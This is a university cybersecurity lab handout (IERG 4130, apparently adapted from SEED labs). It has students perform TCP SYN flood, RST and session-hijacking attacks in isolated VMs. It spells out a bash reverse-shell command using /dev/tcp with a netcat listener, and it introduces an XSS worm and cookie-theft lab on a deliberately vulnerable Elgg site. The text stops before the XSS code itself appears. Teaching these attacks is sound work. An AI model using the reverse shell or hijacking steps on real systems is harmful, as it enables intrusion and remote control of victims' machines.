IERG 4130 - Introduction to Cyber Security (Spring 2020)
Lab 2: TCP/IP Attack Cross-Site Scripting (XSS) Attack
Revision History
v1.0 Apr. 24 Create and release this lab specification.
Total: 100’ (+10’ bonus)
Due Date: May. 15 11:59PM
Reference: https://seedsecuritylabs.org/
Note: The following tasks are adjusted and may be different from the original SEED labs.
1. TCP/IP Attack
1.1 Overview
The vulnerabilities in the TCP/IP protocols represent a special genre of vulnerabilities in protocol
designs and implementations; they provide an invaluable lesson as to why security should be designed
in from the beginning, rather than being added as an afterthought. Moreover, studying these
vulnerabilities help students understand the challenges of network security and why many network
security measures are needed.
In this lab, students need to conduct several attacks on the TCP protocol. This lab covers the
following topics:
• TCP SYN flood attack, and SYN cookies
• TCP reset attack
• TCP session hijacking attack
• Reverse shell
1.2 Lab Environment
Network Setup. To conduct this lab, students need to have at least 3 machines. One computer is used
for attacking, the second computer is used as the victim, and the third computer is used as the
observer. Students can set up 3 virtual machines on the same host computer, or they can set up 2
virtual machines, and then use the host computer as the third computer. For this lab, we put all these
three machines on the same LAN, the configuration is described in Figure 1. There is a configuration
guide on RUN SEED VM on VirtualBox manual.
1
.
Netwox Tools. We need tools to send out network packets of different types and with different
contents. We can use Netwag to do that. However, the GUI interface of Netwag makes it difficult for
us to automate the process. Therefore, we strongly suggest students to use its command-line version,
the Netwox command, which is the underlying command invoked by Netwag .
Netwox consists of a suite of tools, each having a specific number. You can run a command like
following (the parameters depend on which tool you are using). For some of the tool, you have to run
it with the root privilege:
$ sudo netwox number [parameters ... ]
If you are not sure how to set the parameters, you can look at the manual by issuing "netwox
number --help ". You can also learn the parameter settings by running Netwag : for each
command you execute from the graphic interface, Netwag actually invokes a corresponding Netwox
command, and it displays the parameter settings. Therefore, you can simply copy and paste the
displayed command.
Scapy Tool. Some of the tasks in this lab can also be conducted using Scapy, which is a powerful
interactive packet manipulation program. Scapy is very well maintained and is widely used; while
Netwox is not being maintained any more. There are many online tutorials on Scapy; we expect
students to learn how to use Scapy from those tutorials.
2. TCP/IP Attack Lab Tasks (50’ + bonus 5’)
2.1 Task 1: SYN Flooding Attack (10’)
SYN flood is a form of DoS attack in which attackers send many SYN requests to a victim’s TCP
port, but the attackers have no intention to finish the 3-way handshake procedure. Attackers either use
spoofed IP address or do not continue the procedure. Through this attack, attackers can flood the
victim’s queue that is used for half-opened connections, i.e. the connections that has finished SYN,
2
SYN-ACK, but has not yet gotten a final ACK back. When this queue is full, the victim cannot take
any more connection. Figure 2 illustrates the attack.
The size of the queue has a system-wide setting. In Linux, we can check the setting using the
following command:
$ sudo sysctl -q net.ipv4.tcp_max_syn_backlog
We can use command "netstat -na " to check the usage of the queue, i.e., the number of
half-opened connection associated with a listening port. The state for such connections is SYN-RECV .
If the 3-way handshake is finished, the state of the connections will be ESTABLISHED .
In this task, you need to demonstrate the SYN flooding attack. You can use the Netwox tool to
conduct the attack, and then use a sniffer tool to capture the attacking packets. While the attack is
going on, run the "netstat -na " command on the victim machine, and compare the result with
that before the attack. Please also describe how you know whether the attack is successful or not. The
corresponding Netwox tool for this task is numbered 76. Here is a simple help screen for this tool.
You can also type "netwox 76 --help " to get the help information.
SYN Cookie Countermeasure: If your attack seems unsuccessful, one thing that you can investigate
is whether the SYN cookie mechanism is turned on. SYN cookie is a defense mechanism to counter
the SYN flooding attack. The mechanism will kick in if the machine detects that it is under the SYN
flooding attack. You can use the sysctl command to turn on/off the SYN cookie mechanism:
3
$ sudo sysctl -a | grep cookie (Display the SYN cookie flag)
$ sudo sysctl -w net.ipv4.tcp_syncookies=0 (turn off SYN cookie)
$ sudo sysctl -w net.ipv4.tcp_syncookies=1 (turn on SYN cookie)
Please run your attacks with the SYN cookie mechanism on and off, and compare the results. In your
report, please describe why the SYN cookie can effectively protect the machine against the SYN
flooding attack. If your instructor does not cover the mechanism in the lecture, you can find out how
the SYN cookie mechanism works from the Internet.
Note on Scapy: Although theoretically, we can use Scapy for this task, we have observed that the
number of packets sent out by Scapy per second is much smaller than that by Netwox. This low rate
makes it difficult for the attack to be successful. We were not able to succeed in SYN flooding attacks
using Scapy.
2.2 Task 2: TCP RST Attacks on telnet and ssh Connections (15’)
The TCP RST Attack can terminate an established TCP connection between two victims. For
example, if there is an established telnet connection (TCP) between two users A and B, attackers
can spoof a RST packet from A to B, breaking this existing connection. To succeed in this attack,
attackers need to correctly construct the TCP RST packet.
In this task, you need to launch an TCP RST attack to break an existing telnet connection
between A and B. After that, try the same attack on an ssh connection. Please describe your
observations. To simplify the lab, we assume that the attacker and the victim are on the same LAN,
i.e., the attacker can observe the TCP traffic between A and B.
Using Netwox. The corresponding Netwox tool for this task is numbered 78. Here is a simple help
screen for this tool. You can also type "netwox 78 --help " to get the help information. (You
could also use Netwox Tool 40 for this task. The usage is described in the next page.)
Using Scapy. Please also use Scapy to conduct the TCP RST attack. A skeleton code is provided in
the following (you need to replace each @@@@ with an actual value):
#!/usr/bin/python
from scapy.all import *
ip = IP(src="@@@@", dst="@@@@")
tcp = TCP(sport=@@@@, dport=@@@@, flags="@@@@", seq=@@@@,
ack=@@@@)
pkt = ip/tcp
ls(pkt)
4
send(pkt,verbose=0)
2.3 Task 3: TCP Session Hijacking (25’)
The objective of the TCP Session Hijacking attack is to hijack an existing TCP connection
(session) between two victims by injecting malicious contents into this session. If this connection is a
telnet session, attackers can inject malicious commands (e.g. deleting an important file) into this
session, causing the victims to execute the malicious commands. Figure 3 depicts how the attack
works. In this task, you need to demonstrate how you can hijack a telnet session between two
computers. Your goal is to get the the telnet server to run a malicious command from you. For the
simplicity of the task, we assume that the attacker and the victim are on the same LAN.
Using Netwox. The corresponding Netwox tool for this task is numbered 40. Here is part of the
manual for this tool. You can also type "netwox 40 --help " to get the full help information.
You may also need to use Wireshark to find out the correct parameters for building the spoofed TCP
packet.
You can use Wireshark to figure out what value you should put into each field of the spoofed TCP
packets. It should be noted in the TCP session hijacking section of the SEED book, the command
listed there does not set all the fields of the TCP and IP headers. The fields that are not set will use the
default value provided by netwox . Those default values work for Ubuntu 12.04, but some of them
do not work for Ubuntu 16.04. If you use the SEED book as a reference, you need to set those fields
accordingly, instead of using the default. All the fields that need to be set are listed in Listing 3.
5
In the netwox command above, the tcp-data part only takes hex data. If we want to inject a
command string, which is typically represented as a human-readable ASCII string, we need to convert
it into a hex string. There are many ways to do that, but we will just use a very simple command in
Python. In the following, we convert an ASCII string "Hello World " to a hex string (the quotation
marks are not included).
$ python
>>> “Hello World”.encode(“hex”)
’48656c6c6f20576f726c64’
Using Scapy. Please also use Scapy to conduct the TCP Session Hijacking attack. A skeleton code is
provided in the following (you need to replace each @@@@ with an actual value):
#!/usr/bin/python
from scapy.all import *
ip = IP(src="@@@@", dst="@@@@")
tcp = TCP(sport=@@@@, dport=@@@@, flags="@@@@", seq=@@@@,
ack=@@@@)
data = "@@@@"
pkt = ip/tcp/data
ls(pkt)
send(pkt,verbose=0)
2.4 Task 4: Creating Reverse Shell using TCP Session Hijacking (bonus 5’)
(Note: bonus task)
When attackers are able to inject a command to the victim’s machine using TCP session hijacking,
they are not interested in running one simple command on the victim machine; they are interested in
running many commands. Obviously, running these commands all through TCP session hijacking is
inconvenient. What attackers want to achieve is to use the attack to set up a back door, so they can use
this back door to conveniently conduct further damages.
A typical way to set up back doors is to run a reverse shell from the victim machine to give the
attack the shell access to the victim machine. Reverse shell is a shell process running on a remote
machine, connecting back to the attacker’s machine. This gives an attacker a convenient way to access
a remote machine once it has been compromised.
In the following, we will show how we can set up a reverse shell if we can directly run a command
on the victim machine (i.e. the server machine). In the TCP session hijacking attack, attackers cannot
directly run a command on the victim machine, so their jobs is to run a reverse-shell command
through the session hijacking attack. In this task, students need to demonstrate that they can achieve
this goal.
6
To have a bash shell on a remote machine connect back to the attacker’s machine, the attacker
needs a process waiting for some connection on a given port. In this example, we will use netcat .
This program allows us to specify a port number and can listen for a connection on that port. In Figure
4(a), netcat (nc for short) is used to listen for a connection on port 9090. In Figure 4(b), the
/bin/bash command represents the command that would normally be executed on a compromised
server. This command has the following pieces:
● "/bin/bash -i ": i stands for interactive, meaning that the shell must be interactive (must
provide a shell prompt)
● "> /dev/tcp/10.0.2.4/9090 ": This causes the output (stdout ) of the shell to be
redirected to the tcp connection to 10.0.2.4 ’s port 9090 . The output stdout is
represented by file descriptor number 1.
● "0<1 ": File descriptor 0 represents the standard input (stdin ). This causes the stdin
for the shell to be obtained from the tcp connection.
● "2>1 ": File descriptor 2 represents standard error stderr . This causes the error output to
be redirected to the tcp connection.
In summary, "/bin/bash -i > /dev/tcp/10.0.2.4/9090 0<1 2>1 " starts a
bash shell, with its input coming from a tcp connection, and its standard and error outputs being
redirected to the same tcp connection. In Figure 4(a), when the bash shell command is executed on
10.0.2.8 , it connects back to the netcat process started on 10.0.2.4 . This is confirmed via the
"Connection 10.0.2.8 accepted " message displayed by netcat .
The shell prompt obtained from the connection is now connected to the bash shell. This can be
observed from the difference in the current working directory (printed via pwd). Before the
connection was established, the pwd returned /home/seed . Once netcat is connected to bash,
pwd in the new shell returns /home/seed/Documents (directory corresponding to where
/bin/bash is started from). We can also observe the IP address displayed in the shell prompt is
also changed to 10.0.2.8, which is the same as that on the server machine. The output from netstat
shows the established connection.
The description above shows how you can set up a reverse shell if you have the access to the target
machine, which is the telnet server in our setup, but in this task, you do not have such an access.
7
Your task is to launch an TCP session hijacking attack on an existing telnet session between a user
and the target server. You need to inject your malicious command into the hijacked session, so you
can get a reverse shell on the target server. You can use either Netwox or Scapy for this task (using
Scapy is more convenient).
2.5 Lab Report for TCP Attacks
The report for TCP attacks part should cover the following sections:
● Design: The design of your attacks, including the attacking strategies, the packets that you
use in your attacks, the tools that you used, etc.
● Observation and Explanation: Is your attack successful? How do you know whether it has
succeeded or not? What do you expect to see? What have you observed? Is the observation a
surprise to you?
3. Cross-Site Scripting (XSS) Attack Lab (50’ + bonus 5’)
3.1 Overview
Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This
vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into
victim’s web browser. Using this malicious code, attackers can steal a victim’s credentials, such as
session cookies. The access control policies (i.e., the same origin policy) employed by browsers to
protect those credentials can be bypassed by exploiting XSS vulnerabilities. Vulnerabilities of this
kind can potentially lead to large-scale attacks.
To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web
application named Elgg in our pre-built Ubuntu VM image. Elgg is a very popular open-source
web application for social network, and it has implemented a number of countermeasures to remedy
the XSS threat. To demonstrate how XSS attacks work, we have commented out these
countermeasures in Elgg in our installation, intentionally making Elgg vulnerable to XSS attacks.
Without the countermeasures, users can post any arbitrary message, including JavaScript programs, to
the user profiles. In this lab, students need to exploit this vulnerability to launch an XSS attack on the
modified Elgg , in a way that is similar to what Samy Kamkar did to MySpace in 2005 through the
notorious Samy worm. The ultimate goal of this attack is to spread an XSS worm among the users,
such that whoever views an infected user profile will be infected, and whoever is infected will add
you (i.e., the attacker) to his/her friend list. This lab covers the following topics:
● Cross-Site Scripting attack
● XSS worm and self-propagation
● Session cookies
● HTTP GET and POST requests
● JavaScript and Ajax
3.2 Lab Environment
This lab can only be conducted in our Ubuntu 16.04 VM, because of the configurations that we have
performed to support this lab. We summarize these configurations in this section.
8
The Elgg Web Application. We use an open-source web application called Elgg in this lab. Elgg
is a web-based social-networking application. It is already set up in the pre-built Ubuntu VM image.
We have also created several user accounts on the Elgg server and the credentials are given below.
DNS Configuration. We have configured the following URL needed for this lab. The folder where
the web application is installed and the URL to access this web application are described in the
following:
URL: http://www.xsslabelgg.com
Folder: /var/www/XSS/Elgg/
The above URL is is only accessible from inside of the virtual machine, because we have modified
the /etc/hosts file to map the domain name of each URL to the virtual machine’s local IP address
(127.0.0.1 ). You may map any domain name to a particular IP address using /etc/hosts . For
example, you can map http://www.example.com to the local IP address by appending the
following entry to /etc/hosts :
127.0.0.1 www.example.com
If your web server and browser are running on two different machines, you need to modify
/etc/hosts on the browser’s machine accordingly to map these domain names to the web server’s
IP address, not to 127.0.0.1 .
Apache Configuration. In our pre-built VM image, we used Apache server to host all the websites
used in the lab. The name-based virtual hosting feature in Apache could be used to host several web
sites (or URLs) on the same machine. A configuration file named 000-default.conf in the
directory "/etc/apache2/sites-available " contains the necessary directives for the
configuration:
Inside the configuration file, each web site has a VirtualHost block that specifies the URL for
the web site and directory in the file system that contains the sources for the web site. The following
examples show how to configure a website with URL http://www.example1.com and another
website with URL http://www.example2.com :
ServerName http://www.example1.com
DocumentRoot /var/www/Example_1/
9
ServerName http://www.example2.com
DocumentRoot /var/www/Example_2/
You may modify the web application by accessing the source in the mentioned directories. For
example, with the above configuration, the web application http://www.example1.com can be
changed by modifying the sources in the /var/www/Example_1/ directory. After a change is
made to the configuration, the Apache server needs to be restarted. See the following command:
$ sudo service apache2 start
4. XSS Attack Lab Tasks
4.1 Preparation: Getting Familiar with the “HTTP Header Live” tool
In this lab, we need to construct HTTP requests. To figure out what an acceptable HTTP request in
Elgg looks like, we need to be able to capture and analyze HTTP requests. We can use a Firefox
add-on called "HTTP Header Live " for this purpose. Before you start working on this lab, you
should get familiar with this tool. Instructions on how to use this tool is given in the Guideline section
(§ 5.1).
4.2 Task 5: Posting a Malicious Message to Display an Alert Window (10’)
The objective of this task is to embed a JavaScript program in your Elgg profile, such that when
another user views your profile, the JavaScript program will be executed and an alert window will be
displayed. The following JavaScript program will display an alert window: